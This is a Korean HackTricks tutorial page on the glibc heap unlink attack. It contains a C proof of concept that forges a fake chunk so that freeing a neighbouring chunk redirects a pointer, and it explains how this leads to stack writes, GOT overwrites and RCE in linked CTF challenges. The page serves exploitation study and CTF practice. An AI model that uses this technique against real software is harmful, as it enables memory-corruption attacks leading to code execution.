Unlink Attack
AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:
HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원
구독 요금제를 확인하세요!
💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
이 공격이 발견되었을 때 대부분 WWW (Write What Where)를 허용했지만, 일부 검사가 추가되어 공격의 새 버전이 더 흥미롭고 더 복잡하며 쓸모없는 것으로 만들어졌습니다.
코드 예시:
코드
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* 공격은 tcaches가 사용될 경우 작동하지 않습니다 (2.26 이후)
### 목표
이 공격은 **덩어리를 가리키는 포인터를 자신의 3 주소 앞으로 변경**하는 것을 가능하게 합니다. 이 새로운 위치(포인터가 위치했던 주변)에 흥미로운 내용이 있으면, 다른 제어 가능한 할당/스택 등이 있을 수 있어 더 큰 피해를 일으킬 수 있습니다.
* 만약 이 포인터가 스택에 위치했다면, 이제 3 주소 앞을 가리키고 있기 때문에 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 심지어 canary를 건드리지 않고 반환 주소를 수정할 수 있을 것입니다.
* CTF 예시에서, 이 포인터는 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들어 다른 포인터들이 다른 주소를 가리키도록 할 수 있습니다.\
사용자가 다른 할당도 읽고 쓸 수 있기 때문에 정보를 유출하거나 임의의 위치(예: GOT)에 새 주소를 덮어쓸 수 있습니다.
### 요구 사항
* 메모리(예: 스택)에서 일부 제어를 얻어 일부 속성에 값을 제공하여 덩어리를 몇 개 만듭니다.
* 가짜 덩어리의 포인터를 설정하기 위해 스택 유출이 필요합니다.
### 공격
* 두 개의 덩어리가 있습니다 (chunk1 및 chunk2)
* 공격자는 chunk1의 내용과 chunk2의 헤더를 제어합니다.
* chunk1에서 공격자는 가짜 덩어리의 구조를 만듭니다:
* 보호 기능을 우회하기 위해 `size` 필드가 올바른지 확인하여 `corrupted size vs. prev_size while consolidating` 오류를 피합니다.
* 그리고 가짜 덩어리의 `fd` 및 `bk` 필드가 chunk1 포인터가 저장된 위치를 가리키도록 만들어줍니다. 각각 -3 및 -2의 오프셋을 사용하여 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 실제 chunk1 주소가 있는 메모리(스택) 위치를 가리키도록 합니다:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* chunk2의 헤더는 이전 덩어리가 사용되지 않았음을 나타내고, 가짜 덩어리가 포함된 크기가 크기임을 나타내도록 수정됩니다.
* 두 번째 덩어리가 해제되면 이 가짜 덩어리가 연결 해제됩니다:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* 이전에 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 동일한 위치(스택에 chunk1이 저장된 위치)를 가리키도록 만들어졌으므로 유효한 연결된 목록이었습니다. **두 위치가 동일한 위치를 가리키고 있기 때문에** 마지막 것만(`fake_chunk->bk->fd = fake_chunk->fd`) **적용**됩니다.
* 이로 인해 스택에 있는 chunk1의 포인터가 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씌워집니다.
* 따라서, 공격자가 다시 chunk1의 내용을 제어할 수 있다면, **스택 내부에 쓸 수 있게 되어 canary를 건드리지 않고 반환 주소를 덮어쓰고 로컬 변수의 값을 및 포인트를 수정할 수 있을 것**입니다. 또한 다시 chunk1이 스택에 저장된 주소를 다른 위치로 수정할 수 있게 되면, 공격자가 다시 chunk1의 내용을 제어할 수 있다면 어디든 쓸 수 있을 것입니다.
* 이것이 가능했던 이유는 **주소가 스택에 저장**되어 있었기 때문입니다. 위험 및 악용은 **가짜 덩어리의 주소가 어디에 저장되어 있는지**에 따라 달라질 수 있습니다.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## 참고 자료
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF에서 심지어 unlink 공격을 찾는 것이 이상할 수 있지만, 이 공격이 사용된 writeup을 확인할 수 있는 몇 가지 예시가 있습니다:
* CTF 예시: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* 이 예시에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격은 여기에 덩어리를 할당할 수 있도록 수행되어 malloc된 주소의 배열의 포인터를 제어할 수 있게 합니다. 그런 다음, 이러한 주소의 덩어리 내용을 수정할 수 있는 다른 기능이 있어 GOT를 가리키는 주소를 수정하여 leaks 및 RCE를 얻을 수 있습니다.
* 다른 CTF 예시: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* 이전 예시와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당 주소가 배열 시작 부분보다 앞에 있는 몇 가지 위치를 가리키도록 만들고, 그런 다음 이 새 위치에 할당을 덮어씁니다. 따라서, 다른 할당의 포인터를 GOT의 atoi를 가리키도록 덮어쓸 수 있으며, libc leak을 얻기 위해 이를 출력하고, 그런 다음 atoi GOT를 one gadget 주소로 덮어쓸 수 있습니다.
* unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예시: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* 사용자 정의 malloc의 FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있습니다. 또한 힙에 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 덩어리에 쉘코드로 실행할 수 있습니다.
Last updated